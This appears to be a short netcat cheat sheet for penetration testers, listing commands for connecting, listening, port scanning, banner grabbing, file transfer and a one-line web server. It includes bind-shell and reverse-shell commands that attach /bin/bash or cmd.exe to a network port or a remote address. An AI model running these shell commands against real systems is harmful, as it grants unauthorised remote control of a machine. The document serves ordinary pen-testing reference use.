Netcat is a tiny tool for linux and windows and it is used for reading and writing data across network connections using TCP or UDP. It has amazing features and it is a must-have tool for pen-testing. It is called the “Swiss-army knife for TCP/IP”.
Netcat is a terminal application with many features. Apart from basic telnet functions, it can do various other things like port scanning, banner grabbing, creating socket servers to listen for incoming connections on ports, transfer files from the terminal, etc.
TCP Port – Connecting (adding -u will force udp) nc -nv <ip> <port>
TCP Port – Listening (adding -u will force udp)
nc -lvp <port>
Connect and return HTTP Page
nc -nv 80 HEAD / HTTP/1.1
nc -lvp 4444 > output.txt # Receivers sidenc -nv <ip> <port> < input.txt # Senders side
nc -zv <site.com> 80-84
echo "" | nc -nv -w1 <ip> <port>
Target:nc -vlp 7777 -e /bin/bash (linux)nc -vlp 7777 -e cmd.exe (windows)
Remote:
nc <ip> 7777
Remote:
$ nc -v -l -p 8888
Target:
nc <ip> 8888 -e /bin/bash (linux)
nc <ip> 8888 -e cmd.exe (windows)
while true; do nc -l -p 80 -q 1 < index.html; done
Create an ‘index.html’:
<!doctype html>
<html>
Hello world
</html>
Extra resource:
-SANS Netcat Cheatsheet -> Download
Your AWS bill just doubled again—and nobody can explain why. If you're an IT manager…
The internet's future was rewritten this week. OpenAI's new "Atlas" browser isn't just another Chrome…
In 2025, cyberattacks are faster and more sophisticated than ever. But now, a new generation…
Cyber attackers don’t wait—neither can your team. Vulnerability management has entered a new era, where…
Critical Security Flaws Uncovered in Ingress NGINX Controller: Act Now to Protect Your Kubernetes Clusters.…
Introduction: A serious vulnerability, identified as CVE-2025-24813, has been disclosed in Apache Tomcat, a widely…
This website uses cookies.